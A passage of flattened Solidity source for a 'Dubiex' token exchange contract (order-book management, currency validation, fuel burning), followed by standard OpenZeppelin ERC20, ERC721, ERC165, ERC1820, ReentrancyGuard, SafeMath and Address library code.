compliant token is also expected to use ERC165 for that. require( IERC165(contractAddress).supportsInterface( _ERC721_INTERFACE_HASH ), "Dubiex: not ERC721 compliant" ); return true; } if (currencyType == DubiexLib.CurrencyType.BOOSTABLE_ERC20) { // The contract must implement the BOOSTABLE_ERC20 interface address implementer = _ERC1820_REGISTRY.getInterfaceImplementer( contractAddress, _BOOSTABLE_ERC20_TOKEN_HASH ); require( implementer != address(0), "Dubiex: not BoostableERC20 compliant" ); return true; } if (currencyType == DubiexLib.CurrencyType.ERC20) { // Using `call` is our last-resort to check if the given contract implements // ERC721, since we can't just call `supportsInterface` directly without reverting // if `contractAddress` doesn't implement it. Unlike above, where we want an ERC721, // so reverting is fine for non-ERC721 contracts. // // NOTE: bytes4(keccak256(supportsInterface(bytes4))) => 0x01ffc9a7 // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory result) = contractAddress.call( abi.encodeWithSelector(0x01ffc9a7, _ERC721_INTERFACE_HASH) ); // The call above must either fail (success = false) or if it succeeds, // return false. bool isERC721 = false; if (result.length > 0) { isERC721 = abi.decode(result, (bool)); } require(!success || !isERC721, "Dubiex: ERC20 implements ERC721"); // Lastly, we heuristically check if it responds to `balanceOf`. // If it succeeds, we assume it is an ERC20. // NOTE: bytes4(keccak256(balanceOf(address))) => 0x70a08231 result = Address.functionCall( contractAddress, abi.encodeWithSelector(0x70a08231, contractAddress) ); require(result.length > 0, "Dubiex: not ERC20 compliant"); return true; } return false; } /** * @dev Increment the order id counter and return the new id. */ function _getNextOrderId(address account) private returns (uint32) { uint32 currentId = _counters[account]; assert(currentId < 2**32); uint32 nextId = currentId + 1; _counters[account] = nextId; return nextId; } /** * @dev Get or create order pair alias from the given order pair. */ function _getOrCreateOrderPairAlias(DubiexLib.OrderPair memory pair) private returns (uint32) { bytes32 orderPairHash = keccak256( abi.encode( pair.makerContractAddress, pair.takerContractAddress, pair.makerCurrencyType, pair.takerCurrencyType ) ); uint32 orderPairAlias = _orderPairAliasesByHash[orderPairHash]; // If it doesn't exist yet, we create it (which makes the make order for the caller a bit more expensive). if (orderPairAlias == 0) { require( _validateCurrencyType( pair.makerCurrencyType, pair.makerContractAddress ), "Dubiex: makerContractAddress and currencyType mismatch" ); require( _validateCurrencyType( pair.takerCurrencyType, pair.takerContractAddress ), "Dubiex: takerContractAddress and currencyType mismatch" ); uint32 orderPairAliasCounter = _orderPairAliasCounter; orderPairAliasCounter++; orderPairAlias = orderPairAliasCounter; _orderPairAliasCounter = orderPairAliasCounter; // Write mappings _orderPairAliasesByHash[orderPairHash] = orderPairAlias; _orderPairsByAlias[orderPairAlias] = DubiexLib.packOrderPair(pair); } return orderPairAlias; } function _safeGetOrderPairByAlias( uint32 orderPairAlias, DubiexLib.OrderPairReadStrategy strategy ) private view returns (DubiexLib.OrderPair memory) { DubiexLib.OrderPair memory _unpackedOrderPair; if (strategy == DubiexLib.OrderPairReadStrategy.SKIP) { return _unpackedOrderPair; } DubiexLib.PackedOrderPair storage _pairStorage = _orderPairsByAlias[orderPairAlias]; // Read only maker info if requested if ( strategy == DubiexLib.OrderPairReadStrategy.MAKER || strategy == DubiexLib.OrderPairReadStrategy.FULL ) { ( address makerContractAddress, DubiexLib.CurrencyType makerCurrencyType ) = DubiexLib.unpackOrderPairAddressType(_pairStorage.makerPair); _unpackedOrderPair.makerContractAddress = makerContractAddress; _unpackedOrderPair.makerCurrencyType = makerCurrencyType; require( _unpackedOrderPair.makerCurrencyType != DubiexLib.CurrencyType.NULL, "Dubiex: maker order pair not found" ); } // Read only taker info if requested if ( strategy == DubiexLib.OrderPairReadStrategy.TAKER || strategy == DubiexLib.OrderPairReadStrategy.FULL ) { ( address takerContractAddress, DubiexLib.CurrencyType takerCurrencyType ) = DubiexLib.unpackOrderPairAddressType(_pairStorage.takerPair); _unpackedOrderPair.takerContractAddress = takerContractAddress; _unpackedOrderPair.takerCurrencyType = takerCurrencyType; require( _unpackedOrderPair.takerCurrencyType != DubiexLib.CurrencyType.NULL, "Dubiex: taker order pair not found" ); } return _unpackedOrderPair; } /** * @dev Tries to set the successor of the order with `ancestorOrderId`. * * - Reverts, if the ancestor exists and already has a successor. * - Returns false, if the ancestor doesn't exist. * - If it succeeds, then it implies that the ancestor hasn't been filled yet and thus * the caller has to ensure that the successor gets hidden. */ function _setSuccessorOfAncestor( address account, uint32 ancestorOrderId, uint32 successorOrderId ) private returns (bool) { DubiexLib.PackedOrderBookItem[] storage orders = _ordersByAddress[account]; uint256 length = orders.length; for (uint256 i = 0; i < length; i++) { DubiexLib.PackedOrderBookItem storage _packed = orders[i]; uint256 packedData = _packed.packedData; // The first 32 bits of the packed data corresponds to the id. By casting to uint32, // we can compare the id without having to unpack the entire thing. uint32 orderId = uint32(packedData); if (orderId == ancestorOrderId) { DubiexLib.UnpackedOrderBookItem memory _unpacked = DubiexLib .unpackOrderBookItem(packedData); // Set successor if none yet if (!_unpacked.flags.hasSuccessor) { _unpacked.flags.hasSuccessor = true; _packed.successorOrderId = successorOrderId; // Pack data again and update storage _packed.packedData = DubiexLib.packOrderBookItem(_unpacked); return true; } // Ancestor exists, but has already a successor revert("Dubiex: ancestor order already has a successor"); } } // Ancestor doesn't exist - so it got filled/cancelled or was never created to begin with. return false; } /** * @dev Makes the given successor order visible if it exists. */ function _setOrderVisible(address account, uint32 successorOrderId) private { DubiexLib.PackedOrderBookItem[] storage orders = _ordersByAddress[account]; uint256 length = orders.length; for (uint256 i = 0; i < length; i++) { DubiexLib.PackedOrderBookItem storage _packed = orders[i]; uint256 packedData = _packed.packedData; // The first 32 bits of the packed data corresponds to the id. By casting to uint32, // we can compare the id without having to unpack the entire thing. uint32 orderId = uint32(packedData); if (orderId == successorOrderId) { DubiexLib.UnpackedOrderBookItem memory _unpacked = DubiexLib .unpackOrderBookItem(packedData); _unpacked.flags.isHidden = false; // Write updated data _packed.packedData = DubiexLib.packOrderBookItem(_unpacked); break; } } } /** * @dev Returns the order from `account` with the given id from storage * plus the index of it. * * If it cannot be found, then this function reverts, because we expect the * caller to operate on existing orders. */ function _safeGetOrder( address account, uint32 id, DubiexLib.OrderPairReadStrategy strategy ) private view returns ( DubiexLib.PackedOrderBookItem storage, DubiexLib.UnpackedOrderBookItem memory, uint256 ) { DubiexLib.PackedOrderBookItem[] storage orders = _ordersByAddress[account]; uint256 length = orders.length; for (uint256 i = 0; i < length; i++) { DubiexLib.PackedOrderBookItem storage _packed = orders[i]; uint256 packedData = _packed.packedData; // The first 32 bits of the packed data corresponds to the id. By casting to uint32, // we can compare the id without having to unpack the entire thing. uint32 orderId = uint32(packedData); if (orderId == id) { DubiexLib.UnpackedOrderBookItem memory _unpacked = DubiexLib .unpackOrderBookItem(packedData); // Read the order pair with the given strategy _unpacked.pair = _safeGetOrderPairByAlias( _unpacked.orderPairAlias, strategy ); return (_packed, _unpacked, i); } } revert("Dubiex: order does not exist"); } /** * @dev Returns the order from `account` with the given id from storage * plus the index of it. * * If it cannot be found, then this function does not revert and it's up to the * caller to decide. */ function _getOrder( address account, uint32 id, DubiexLib.OrderPairReadStrategy strategy ) private view returns ( DubiexLib.PackedOrderBookItem storage, DubiexLib.UnpackedOrderBookItem memory, uint256 ) { DubiexLib.PackedOrderBookItem[] storage orders = _ordersByAddress[account]; uint256 length = orders.length; for (uint256 i = 0; i < length; i++) { DubiexLib.PackedOrderBookItem storage _packed = orders[i]; uint256 packedData = _packed.packedData; // The first 32 bits of the packed data corresponds to the id. By casting to uint32, // we can compare the id without having to unpack the entire thing. uint32 orderId = uint32(packedData); if (orderId == id) { DubiexLib.UnpackedOrderBookItem memory _unpacked = DubiexLib .unpackOrderBookItem(packedData); // Read the order pair with the given strategy // NOTE: This cannot revert when the order exists. _unpacked.pair = _safeGetOrderPairByAlias( _unpacked.orderPairAlias, strategy ); return (_packed, _unpacked, i); } } DubiexLib.UnpackedOrderBookItem memory _unpacked; return (emptyOrder, _unpacked, 0); } /** * @dev Delete an order of `maker` by index in O(1). */ function _deleteOrder(address maker, uint256 index) private { DubiexLib.PackedOrderBookItem[] storage orders = _ordersByAddress[maker]; uint256 length = orders.length; // swap and pop, changes the order if (index != length - 1) { // Move last item to the position of the to-be-deleted item (`index`) orders[index] = orders[length - 1]; } orders.pop(); } //--------------------------------------------------------------- // Fuel //--------------------------------------------------------------- /** * @dev Burn `fuel` from `from`. */ function _burnFuel(address from, BoosterFuel memory fuel) internal returns (uint96) { // Burn unlocked PRPS if (fuel.unlockedPrps > 0) { IBoostableERC20(address(_prps)).burnFuel( from, TokenFuel({ tokenAlias: 0, /* UNLOCKED PRPS */ amount: fuel.unlockedPrps }) ); return 0; } // Burn locked PRPS if (fuel.lockedPrps > 0) { IBoostableERC20(address(_prps)).burnFuel( from, TokenFuel({ tokenAlias: 1, /* LOCKED PRPS */ amount: fuel.lockedPrps }) ); return 0; } // Burn DUBI from balance if (fuel.dubi > 0) { IBoostableERC20(address(_dubi)).burnFuel( from, TokenFuel({ tokenAlias: 2, /* DUBI */ amount: fuel.dubi }) ); return 0; } // The intrinsic fuel is only supported for ERC721 tokens via // the 'safeTransferFrom' payload. if (fuel.intrinsicFuel > 0) { return fuel.intrinsicFuel; } // No fuel return 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transfered from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./IERC721Receiver.sol"; /** * @dev Implementation of the {IERC721Receiver} interface. * * Accepts all token transfers. * Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}. */ contract ERC721Holder is IERC721Receiver { /** * @dev See {IERC721Receiver-onERC721Received}. * * Always returns `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { return this.onERC721Received.selector; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the global ERC1820 Registry, as defined in the * https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register * implementers for interfaces in this registry, as well as query support. * * Implementers may be shared by multiple accounts, and can also implement more * than a single interface for each account. Contracts can implement interfaces * for themselves, but externally-owned accounts (EOA) must delegate this to a * contract. * * {IERC165} interfaces can also be queried via the registry. * * For an in-depth explanation and source code analysis, see the EIP text. */ interface IERC1820Registry { /** * @dev Sets `newManager` as the manager for `account`. A manager of an * account is able to set interface implementers for it. * * By default, each account is its own manager. Passing a value of `0x0` in * `newManager` will reset the manager to this initial state. * * Emits a {ManagerChanged} event. * * Requirements: * * - the caller must be the current manager for `account`. */ function setManager(address account, address newManager) external; /** * @dev Returns the manager for `account`. * * See {setManager}. */ function getManager(address account) external view returns (address); /** * @dev Sets the `implementer` contract as ``account``'s implementer for * `interfaceHash`. * * `account` being the zero address is an alias for the caller's address. * The zero address can also be used in `implementer` to remove an old one. * * See {interfaceHash} to learn how these are created. * * Emits an {InterfaceImplementerSet} event. * * Requirements: * * - the caller must be the current manager for `account`. * - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not * end in 28 zeroes). * - `implementer` must implement {IERC1820Implementer} and return true when * queried for support, unless `implementer` is the caller. See * {IERC1820Implementer-canImplementInterfaceForAddress}. */ function setInterfaceImplementer(address account, bytes32 interfaceHash, address implementer) external; /** * @dev Returns the implementer of `interfaceHash` for `account`. If no such * implementer is registered, returns the zero address. * * If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28 * zeroes), `account` will be queried for support of it. * * `account` being the zero address is an alias for the caller's address. */ function getInterfaceImplementer(address account, bytes32 interfaceHash) external view returns (address); /** * @dev Returns the interface hash for an `interfaceName`, as defined in the * corresponding * https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP]. */ function interfaceHash(string calldata interfaceName) external pure returns (bytes32); /** * @notice Updates the cache with whether the contract implements an ERC165 interface or not. * @param account Address of the contract for which to update the cache. * @param interfaceId ERC165 interface for which to update the cache. */ function updateERC165Cache(address account, bytes4 interfaceId) external; /** * @notice Checks whether a contract implements an ERC165 interface or not. * If the result is not cached a direct lookup on the contract address is performed. * If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling * {updateERC165Cache} with the contract address. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool); /** * @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool); event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer); event ManagerChanged(address indexed account, address indexed newManager); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line 